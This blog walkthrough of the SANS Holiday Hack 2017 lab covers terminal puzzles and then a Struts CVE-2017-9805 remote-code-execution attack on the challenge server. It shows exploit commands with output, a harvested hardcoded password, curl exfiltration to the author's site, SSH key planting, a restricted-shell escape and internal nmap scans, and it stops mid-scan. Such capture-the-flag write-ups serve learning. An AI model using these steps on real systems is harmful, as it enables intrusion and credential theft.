Thursday, January 11, 2018

Holiday Hack 2017



The holiday season has once again brought us a great (and educational) challenge from the folks at SANS. If you don't already know what I'm talking about, pop over to holidayhackchallenge.com and get acquainted – you can still play challenges from previous years!

This year's challenge covered a number of topical hacks, including the Struts vulnerability that took down Equifax, Microsoft DDE exploits similar to those used by the Necurs botnet, and a null ciphertext attack against AES encryption that I seem to recall was involved in a major breach this year (please post in the comments if you can recall which one, as I can't seem to find it now).

My intent with this blog post is to explain my solutions to the technical challenges in this year's hackathon. I won't be covering the snowball game because, well, it was kinda stupid. Without further ado, here is my walkthrough for the SANS 2017 Holiday Hack!

Terminal Challenge: Winconceivable: The Cliffs Of Winsanity

For this challenge, we need to kill a rogue process. Sounds easy enough – let's just get the process ID and kill it:

elf@4d56a5c92185:~$ ps aux | grep santa
elf          8  0.0  0.0   4224   724 pts/0    S    22:02   0:00 /usr/bin/santaslittlehelperd
elf        132  0.0  0.0  11284  1024 pts/0    S+   22:04   0:00 grep --color=auto santa
elf@4d56a5c92185:~$ kill 8
elf@4d56a5c92185:~$ ps aux | grep santa
elf          8  0.0  0.0   4224   724 pts/0    S    22:02   0:00 /usr/bin/santaslittlehelperd
elf        142  0.0  0.0  11284   980 pts/0    S+   22:04   0:00 grep --color=auto santa

Hmm, no such luck. It doesn't seem to want to go down easily. Let's use a bit more force:

elf@4d56a5c92185:~$ kill -9 8
elf@4d56a5c92185:~$ ps aux | grep santa
elf          8  0.0  0.0   4224   724 pts/0    S    22:02   0:00 /usr/bin/santaslittlehelperd
elf        206  0.0  0.0  11284   992 pts/0    S+   22:05   0:00 grep --color=auto santa

Well if that didn't work, something fishy is going on. Let's see if Sparkle's Twitter feed can give us any pointers:


Well, that explains it! Let's see where the binary is and run it directly:

elf@4d56a5c92185:~$ /bin/kill 8   
elf@4d56a5c92185:~$ ps aux | grep santa
elf        523  0.0  0.0  11284  1016 pts/0    S+   22:10   0:00 grep --color=auto santa

Easy peasy!

Terminal Challenge: Winter Wonder Landing


This challenge involves locating and executing a binary. Sounds simple, but by now we know to expect that something won't work quite right! Sure enough:

elf@dc8a54a99740:~$ ls           
elf@dc8a54a99740:~$ which elftalkd
elf@dc8a54a99740:~$ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

Looks like the "find" app has been crippled. Let's see what Bushy has on his Twitter feed:




Interesting – it's the wrong executable. If we look at the error message, we can see that the "find" command is trying to execute from /usr/local/bin. Shouldn't that normally be /usr/bin? Let's try it and see:

elf@dc8a54a99740:~$ /usr/bin/find / -name elftalkd
/usr/bin/find: '/var/cache/ldconfig': Permission denied
/usr/bin/find: '/var/cache/apt/archives/partial': Permission denied
/usr/bin/find: '/var/lib/apt/lists/partial': Permission denied
/run/elftalk/bin/elftalkd
/usr/bin/find: '/proc/tty/driver': Permission denied
/usr/bin/find: '/root': Permission denied

There it is! Now we just have to run it....

elf@dc8a54a99740:~$ /run/elftalk/bin/elftalkd
        Running in interactive mode
        --== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
      _  __ _        _ _       _ 
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337) 
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

Terminal Challenge: Cryokinetic Magic

To complete this challenge, we need to execute a binary. Ok, let's see what happens:

elf@2037fbd6c1f1:~$ ls
CandyCaneStriper
elf@2037fbd6c1f1:~$ ./CandyCaneStriper
bash: ./CandyCaneStriper: Permission denied

Permission denied, eh? Let's check those permissions:

elf@2037fbd6c1f1:~$ ls -l 
total 48
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
elf@2037fbd6c1f1:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)

So we are logged in as "elf" and the binary is owned by root. It has global read permissions, but the problem is that it has no execute permissions. That should be easy to fix:

elf@2037fbd6c1f1:~$ chmod +x CandyCaneStriper
elf@2037fbd6c1f1:~$ ls -l
total 48
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper

Shenanigans! Let's see what Holly says about it on Twitter:


Well that would do it. Let's see what's up with chmod:

elf@2037fbd6c1f1:~$ which chmod
/bin/chmod
elf@2037fbd6c1f1:~$ ls -l /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod

Oh dear – it looks like the binary is completely empty. Fortunately, Google reveals some neat fixes for getting out of this fix. One of them involves using the dynamic linker (ld.so, ld-linux.so, or some variant) to run the executable. Let's see if that works:

elf@2037fbd6c1f1:~$ find /lib -name ld-linux*
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
elf@2037fbd6c1f1:~$ /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./CandyCaneStriper

How pretty (and tasty)!

Terminal Challenge: There's Snow Place Like Home



This challenge requires you to run an executable, which seems like a simple task, but the normal approach doesn't seem to work:

elf@dceea1d327f5:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error

Odd. Let's gather some more information about the binary and our environment:

elf@dceea1d327f5:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b
3de3e0be7d6fdd7ed732eb, not stripped
elf@dceea1d327f5:~$ uname -a
Linux dceea1d327f5 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 x86_64 x86_64 GNU/Linux

Ah ha – no wonder it doesn't work. We're trying to run a 32-bit ARM binary on a 64-bit x86 system. Let's see if Pepper's Twitter feed offers any hints about how to get around this restriction:


Not helpful, but let's see what Holly is up to:


Bingo! Looks like qemu is the way to go. Is it installed?

elf@dceea1d327f5:~$ which qemu
elf@dceea1d327f5:~$

Doesn't appear to be, but maybe autocomplete knows better. I'll type "qemu" followed by two tabs to see if there are any apps installed that start with that name:

elf@dceea1d327f5:~$ qemu-
qemu-aarch64       qemu-cris          qemu-microblazeel  qemu-mipsel        qemu-ppc           qemu-sh4           qemu-sparc64
qemu-alpha         qemu-i386          qemu-mips          qemu-mipsn32       qemu-ppc64         qemu-sh4eb         qemu-unicore32
qemu-arm           qemu-m68k          qemu-mips64        qemu-mipsn32el     qemu-ppc64abi32    qemu-sparc         qemu-x86_64
qemu-armeb         qemu-microblaze    qemu-mips64el      qemu-or32          qemu-s390x         qemu-sparc32plus

Bingo! Looks like we have some options. Since the binary is built for ARM, qemu-arm should be the right choice:

elf@dceea1d327f5:~$ qemu-arm ./trainstartup 
Starting up ... 


Terminal Challenge: Bumbles Bounce

This challenge has us doing some log file analysis. Fortunately, Apache access logs are pretty standard and well-defined. It shouldn't be too hard to get the information we need. For the uninitiated, here is the standard format courtesy of Wikipedia:

We had better make sure this access.log file is in the same format:

Xelf@c26e0f6fa5b8:~$ head -1 access.log 
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplor
er.org/dotbot, help@moz.com)"

That looks pretty good (apart from the IP, which clearly has been obfuscated), but what are those extra fields after the response size? Apache's documentation can shed some light:

Great, now we know what log format is being used. We're interested in analyzing the client browsers, which we can determine based on the User Agent string. That means we need to isolate that from the rest of the line. The "cut" command is our friend here. Since the User Agent is always quoted, we can use a quote as our delimiter:

elf@c26e0f6fa5b8:~$ head -1 access.log | cut -d '"' -f 6
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

That's a good start, but we really don't need anything except the browser name. Let's add another cut to that:

elf@c26e0f6fa5b8:~$ head -1 access.log | cut -d '"' -f 6 | cut -d "/" -f 1
Mozilla

Bingo! Now we need to count all the duplicate browsers, sort them from smallest to largest, and show the one with the lowest number:

elf@c26e0f6fa5b8:~$ cat access.log | cut -d '"' -f 6 | cut -d "/" -f 1 | sort | uniq -c | sort | head
      1 Dillo
      2 (KHTML, like Gecko) Chrome
      2 Slackbot-LinkExpanding 1.0 (+https:
      2 Telesphoreo
      2 Twitter
      2 Twitterbot
      2 masscan
      2 www.probethenet.com scanner
      3 GarlikCrawler
      3 MobileSafari

In case you were wondering, we needed to sort before and after the "uniq" command because it only merges adjacent matching strings. The '-c' flag prepends each line with a count of how many strings were merged, so the second sort ends up being numeric. We then show the top few entries with "head," and voila! It looks like our answer is "Dillo" – let's try it:

elf@c26e0f6fa5b8:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo
That is the least common browser in the web log! Congratulations!

Terminal Challenge: I Don't Think We're In Kansas Anymore

For this challenge, we need to work some SQL database magic. SQLite is the tool of choice here, so let's fire it up and see what the database contains:

elf@2c3dddd5a4d7:~$ sqlite3 christmassongs.db 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
likes  songs
sqlite> .schema likes
CREATE TABLE likes(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)
);
sqlite> .schema songs
CREATE TABLE songs(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
);
sqlite> 

Great, so it looks like we have two tables, "likes" and "songs." To find the most popular song, we need to figure out which one has the most likes. The "likes" table has a foreign key associating likes(songid) with songs(id), so we can use that to tally the results. The following SELECT statement should do the trick:

sqlite> SELECT songs.title, SUM(like) AS songlikes FROM likes LEFT JOIN songs ON likes.songid=songs.id GROUP BY songid ORDER BY songlikes DESC LIMIT 1;
Stairway to Heaven|8996

Well that was easy! That is, if you already have a lot of experience with SQL.... Let's break it down, shall we?

SELECT songs.title, SUM(like) AS songlikes

The first part of the statement just says what information we want to output after all the other work has been done. In this case, we're only interested in the title of the song and the total number of likes associated with it. The "AS songlikes" just gives us a handy way to refer to the total number of likes later in the statement.

FROM likes

This is easy – it just says which table we're reading from. You might think "songs" would be the primary table, but in reality our main concern is with counting likes, so it will be easier if we use "likes" as our primary.

LEFT JOIN songs ON likes.songid=songs.id

This is where the magic happens! By joining the "songs" table to the "likes" table, we can automatically translate the song IDs from the former into song titles from the latter. The "ON" part of the statement specifies which keys are expected to match (in this case, we're using the foreign key from "likes").

GROUP BY songid

This is how we tally up the likes for each song. Remember we're working in the "likes" table, so if we group by song ID, we will only get one line of output for each song. The "SUM" command at the beginning of the statement will ensure that we keep track of how many likes were merged for each song.

ORDER BY songlikes DESC

This part puts the songs in order from the most likes to the least.

LIMIT 1

Finally, this makes sure we don't print all the songs, but only the one we're most interested in – the most popular!

Alright, let's make sure we got the right answer:

sqlite> .quit
elf@2c3dddd5a4d7:~$ ./runtoanswer 
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!


Terminal Challenge: Or Maybe We Are...

This challenge requires us to replace a backup copy of the shadow file, which can normally only be modified by the root account. As suggested, let's start by checking what commands we can run with elevated privileges using "sudo:"

elf@b6c41c1e569c:~$ sudo -l
Matching Defaults entries for elf on b6c41c1e569c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on b6c41c1e569c:
    (elf : shadow) NOPASSWD: /usr/bin/find

Very interesting! It looks like we're allowed to run the "find" command with "shadow" group permissions. Let's verify both the "shadow" and "shadow.bak" file are accessible to users in the "shadow" group:

elf@b6c41c1e569c:~$ ls -l /etc/shadow*
-rw-rw---- 1 root shadow   0 Dec 15 20:00 /etc/shadow
-rw------- 1 root root   652 Nov 14 13:48 /etc/shadow-
-rw-r--r-- 1 root root   677 Dec 15 19:59 /etc/shadow.bak

Looks like we're good to go – the backup file is readable by anyone, and the shadow file is writeable by users in the "shadow" group. But how can we do that? The only command we're allowed to run with "shadow" group permissions is "find."

No problem! Did you know that "find" can execute any arbitrary command on the results of a search?

Terminal Challenge: We're Off To See The...



We made it to the last terminal challenge! This one looks pretty interesting (and I will always laugh at a good 42 joke). Let's have a look at that source code:

elf@d7dfd526cdbd:~$ cat isit42.c.un 
#include <stdio.h>
// DATA CORRUPTION ERROR
// MUCH OF THIS CODE HAS BEEN LOST
// FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
// MAKE THE isit42 BINARY RETURN 42
// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME
int getrand() {
    srand((unsigned int)time(NULL)); 
    printf("Calling rand() to select a random number.\n");
    // The prototype for rand is: int rand(void);
    return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}
int main() {
    sleep(3);
    int randnum = getrand();
    if (randnum == 42) {
        printf("Yay!\n");
    } else {
        printf("Boo!\n");
    }
    return randnum;
}

We might want a little help with this – let's see what Wunorse posted on Twitter....

Nothing. Absolutely nothing of consequence. Alrighty then. Fortunately, a quick browse through the SANS Penetration Testing blog (also a great source of hints for these challenges) reveals the following article: Go To The Head Of The Class: LD_PRELOAD For The Win

I won't rehash the whole article here, but essentially the idea is to use LD_PRELOAD to hijack a function in a binary that was written in C. This involves writing a bit of C code describing the function you want to replace, compiling that into a shared library (.so) file, and then preloading the shared library while the binary is launched. 

We'll start with the shared library code. The function we want to hijack in this case is "rand," and all we need to make it do is output 42 instead of an actual random number. Two commands will create the source code and compile it into a shared library:

elf@d7dfd526cdbd:~$ echo "int rand(){ return 42; }" >unrandom.c
elf@d7dfd526cdbd:~$ gcc -shared -fPIC unrandom.c -o unrandom.so

Simple, right? Now all we need to do is make sure "isit42" uses our version of the "rand" function instead of the default one. This is where LD_PRELOAD comes in:

...and that's all for the terminal challenges! Now we get to move on to the fun stuff :)

Question 1

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

Roll the snowball over the page.

Answer to question 1: About This Book...


Question 2

Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

For hints associated with this challenge, Sparkle Redberry in the Winconceivable: The Cliffs of Winsanity Level can provide some tips.

Let's have a look at that target, shall we?

Ok, so we've got a web form here. A quick test shows that submitting a letter produces a pop-up confirmation message and clears the form. We could dive in here and start trying to do some code injection, but it might be wise to have a look at the source first.

Oh, what do we have here?

That looks convenient – perhaps we don't even need to bother messing with this form. Let's check out that development page.

Very nice! Here we can add, view, edit, and delete toy requests directly on the backend. Again, we could spend some time trying to probe for code injection vulnerabilities here, or... what's this little gem down at the bottom of the page?


Well isn't that convenient! The page source even has a little something extra to offer:



Equal-facts, eh? Sounds suspiciously like a company that fell victim to a Struts vulnerability earlier this year.... I'd say that's a pretty obvious clue as to how to get a foothold on this server. Let's check Sparkle's hints to confirm our suspicion:


Yep, that's definitely our target, and now we know which exploit NOT to use. The next hint provides a link to an article on the SANS Pen Testing blog titled Why You Need the Skills to Tinker with Publicly Released Exploit Code. Reading through that article makes it apparent that our attack vector is the Apache Struts 2 REST Plugin XStream RCE (CVE-2017-9805). It even provides a convenient link to a Python script that will do the hard work for us! We'll go ahead and download that script from https://github.com/chrisjd20/cve-2017-9805.py and save it locally as "struts.py".

Now we need to figure out what to do with it. Let's start by testing to see if it even works. Since this is a web server, one of the simplest things we can do with remote code execution is plant a file within the web root and see if we can view it.

Since the server is running Struts, it is very likely our target is a Linux machine. The default web root for most Linux web servers is /var/www/html, so let's give that a try. We'll make a simple HTML page that just says, "Hello world." We'll start by running the script without any parameters to see if it gives us usage information:

$ python struts.py
usage: struts.py [-h] [-u URL] -c COMMAND

optional arguments:
  -h, --help  show this help message and exit
  -u URL      url of target vulnerable apache struts server. Ex-
              http://somevulnstrutsserver.com/orders.xhtml
  -c COMMAND  command to execute against the target. Ex - /usr/bin/whoami

Perfect. Let's send a command that will write out our test page to the web server root:

$ python struts.py -u https://dev.northpolechristmastown.com -c 'echo "Hello world." >/var/www/html/test.html'
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed

Seems like that went well. Now let's try to view the page.


Hm, that's no good. Either the exploit didn't work, or we did something wrong. I have to admit, I got stuck at this point for much longer than I should have, and ended up solving this challenge in a ridiculously roundabout way. For educational purposes, I will proceed to explain how I should have solved it from here! Then I'll go back and demonstrate what an idiot I am by (quickly) walking through what I actually did.

So at this point we can see that the page we planted isn't available, which makes sense because the server is running Apache Tomcat. If you know anything about deploying Java apps with Tomcat, you know that it can't just display static pages unless you specifically configure it to do so. Of course it can't show the page we created, because it wasn't configured with a route to that page. Reconfiguring the app would require access to the server backend, so perhaps there is another way to reach static files served from the same site. Could there be another, regular web server running on the same host?

So far we've only seen two hosts (l2s.northpolechristmastown.com and dev.northpolechristmastown.com), so let's start by having a look at both of them.

$ nslookup l2s.northpolechristmastown.com
Server:	198.18.0.1
Address:	198.18.0.1#53

Non-authoritative answer:
Name:	l2s.northpolechristmastown.com
Address: 35.185.84.51

$ nslookup dev.northpolechristmastown.com
Server:	198.18.0.1
Address:	198.18.0.1#53

Non-authoritative answer:
Name:	dev.northpolechristmastown.com
Address: 35.185.84.51

Oh, well what do you know! As it turns out, those two sites both have the same IP address. That means they are virtual hosts on the same server. Which means....

And just like that, we have proof of concept – the exploit works! There's a lot we could do from here. Let's do a little bit of recon to see how much access we have. Here are a few commands and the resultant output on the web page we planted:

$ python struts.py -u https://dev.northpolechristmastown.com -c 'id >/var/www/html/test.html'

uid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball)
$ python struts.py -u https://dev.northpolechristmastown.com -c 'pwd >/var/www/html/test.html'
/
$ python struts.py -u https://dev.northpolechristmastown.com -c 'ls -la /home/alabaster_snowball >/var/www/html/test.html'
total 32
drwxr-xr-x  3 alabaster_snowball alabaster_snowball 4096 Dec 16 01:03 .
drwxr-xr-x 11 root               root               4096 Nov 24 16:30 ..
-rw-------  1 alabaster_snowball alabaster_snowball    0 Oct 13 12:55 .bash_history
-rw-r--r--  1 alabaster_snowball alabaster_snowball  128 Nov 21 01:10 .bash_logout
-rw-r--r--  1 alabaster_snowball alabaster_snowball 3734 Dec  9 00:15 .bashrc
-rw-r--r--  1 alabaster_snowball alabaster_snowball  675 Oct 12 15:13 .profile
-rw-r--r--  1 alabaster_snowball alabaster_snowball   66 Oct 12 15:35 .selected_editor
drwxr-xr-x  2 alabaster_snowball alabaster_snowball 4096 Jan  8 23:27 .ssh
-rw-r--r--  1 alabaster_snowball alabaster_snowball  215 Jan  8 08:34 .wget-hsts
$ python struts.py -u https://dev.northpolechristmastown.com -c 'ls -la /var/www/html >/var/www/html/test.html'
total 1768
drwxrwxrwt 6 www-data           www-data              4096 Jan  9 01:18 .
drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
-r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
-rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
-rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php
-rw-r--r-- 1 alabaster_snowball alabaster_snowball       0 Jan  9 01:21 test.html

Well look at that – there's the Great Book Page we're after! Let's go ahead and download that. Since it's in the web root, we can just browse to this page: https://l2s.northpolechristmastown.com/GreatBookPage2.pdf

The title of the page is "On the Topic of Flying Animals." One part down, one to go! It would seem now that our real trophy is Alabaster Snowball's password. But where on earth might we find that? Sparkle's got some thoughts on that:


Hmm, so it would seem Alabaster left his credentials in a development file somewhere. Since the dev server runs Tomcat, maybe we should look around for some Tomcat config files and see what they contain.

In reality, I spent a lot of time searching around different types of files until I finally found what I was looking for. With the full benefit of hindsight, I can offer this simple command which takes us directly to the flag:

$ python struts.py -u https://dev.northpolechristmastown.com -c 'find / -name *.class -exec grep -A 1 alabaster {} \; >/var/www/html/test.html'
            final String username = "alabaster_snowball";
            final String password = "stream_unhappy_buy_loss"; 

Ta da! We found Alabaster's password. Let's do a quick check to make sure it actually works:

$ ssh alabaster_snowball@l2s.northpolechristmastown.com
alabaster_snowball@l2s.northpolechristmastown.com's password: stream_unhappy_buy_loss
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.BoiqOfhzXdoJacditEjwmlF1$

We did it – we made it into the server. Time to take a breather and prepare for the next challenges. I suspect some recon will be in order!

*Full disclosure: in order to pop this server, I went through an extremely roundabout process. I couldn't figure out that both domains pointed to the same server, and didn't understand at first why the Tomcat server wouldn't show the page I had created. I ended up writing a simple PHP listener on my own website that would take GET requests and record them to a text file. I then used the Struts exploit to execute commands on the server, base64 encode the output, and send a request to my website using curl like so: http://www.mysite.com/foo.php?a=output. I was then able to decode the output and verify that the exploit did indeed work. From there I did some recon and discovered that I could reach the authorized_keys file in alabaster's ~/.ssh directory. I generated a pair of keys, used the exploit to write the public key to the authorized keys file, and then was able to log in via SSH using my private key. Great! Except I still didn't have the password, and I was stuck in a restricted shell. Through the use of netcat I was able to break out of the jailed shell (by opening a local listener and then connecting to it locally), which gave me access to many more commands, but my shell was still non-interactive. I used python to fix that (/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")') and then I finally had a (mostly) full shell. Whew! A lot of work, but worth it to be able to interact comfortably with the system. That is, until it reset itself, which seemed to happen rather frequently, at which point I would rinse and repeat the whole connection process. Eventually I figured out that a full shell wasn't even necessary and that I just had to look in the right place for the password, at which point I discovered that both sites were on the same server, and I proceeded to kick myself very very hard in the pants.

Answers to question 2: flying animals and stream_unhappy_buy_loss


Question 3

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

For hints, please see Holly Evergreen in the Cryokinetic Magic Level.

So, now that we have a foothold within the local network, we need to perform some recon to see what other targets are available for lateral movement. The first step is to find out who we are:

$ id
rbash: id: command not found

Uh oh. It looks like we're in a restricted shell environment. Let's see what tools we have available to us:

$ ls /usr/local/rbin
apropos  cmp   echo   grep      lessecho  man     ncat   ping6   sed        sha512sum  touch
base32   cp    egrep  head      lessfile  md5sum  ndiff  pwd     sha1sum    shasum     true
base64   date  false  hostname  lesskey   more    nmap   python  sha224sum  sleep      uname
cat      diff  fgrep  ip        lesspipe  mv      ping   rbash   sha256sum  tail       wc
clear    dir   file   less      ls        nc      ping4  rnano   sha384sum  tee        which

Ok, that's not terrible. We may be restricted, but we can run several useful tools like ip, nc, and nmap. Why anyone would make those tools available to a user within a restricted shell is beyond me, but hey, what do I know?

Next, let's identify our own server:

$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1460 qdisc mq state UP group default qlen 1000
    link/ether 42:01:0a:8e:00:0b brd ff:ff:ff:ff:ff:ff
    inet 10.142.0.11/32 brd 10.142.0.11 scope global eth0
       valid_lft forever preferred_lft forever

Great, our local IP is 10.142.0.11. That matches up with the scope defined for the Holiday Hack, which says we're allowed to attack the 10.142.0.0/24 network. Let's give it a scan!

$ nmap -sV 10.142.0.0/24

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 01:41 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00029s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp   open  http     nginx 1.10.3
443/tcp  open  ssl/http nginx 1.10.3
2222/tcp open  ssh      OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00029s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open  http    nginx 1.10.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00014s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
25/tcp   open  smtp    Postfix smtpd
80/tcp   open  http    nginx 1.10.3 (Ubuntu)
143/tcp  open  imap    Dovecot imapd
2525/tcp open  smtp    Postfix smtpd
3000/tcp open  http    Node.js Express framework
Service Info: Host:  mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00012s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp   open     http    nginx 1.10.3
389/tcp  filtered ldap
8080/tcp open     http    Werkzeug httpd 0.12.2 (Python 2.7.13)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00044s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00016s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp   open  http       nginx 1.10.3
1080/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.00069s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
3389/tcp open  ssl/ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (7 hosts up) scanned in 87.75 seconds

Perfect – lots of juicy targets for us. One seems to be missing, however. The question clearly asks about an SMB file server, but nmap didn't find one on the local network. Let's try that again, but this time we'll use the -Pn flag to include hosts that don't respond to pings, and we'll limit our scope to IPs from 10.142.0.1 to 10.142.0.13 (which appears to be our highest numbered host):

$ nmap -sV -Pn 10.142.0.1-13

Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 01:53 UTC
Nmap scan report for 10.142.0.1
Host is up (0.00036s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE    VERSION
53/tcp open  tcpwrapped

Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00015s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp   open  http     nginx 1.10.3
443/tcp  open  ssl/http nginx 1.10.3
2222/tcp open  ssh      OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00019s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open  http    nginx 1.10.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 10.142.0.4
Host is up.
All 1000 scanned ports on 10.142.0.4 are filtered

Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00022s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
25/tcp   open  smtp    Postfix smtpd
80/tcp   open  http    nginx 1.10.3 (Ubuntu)
143/tcp  open  imap    Dovecot imapd
2525/tcp open  smtp    Postfix smtpd
3000/tcp open  http    Node.js Express framework
Service Info: Host:  mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00023s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE    VERSION
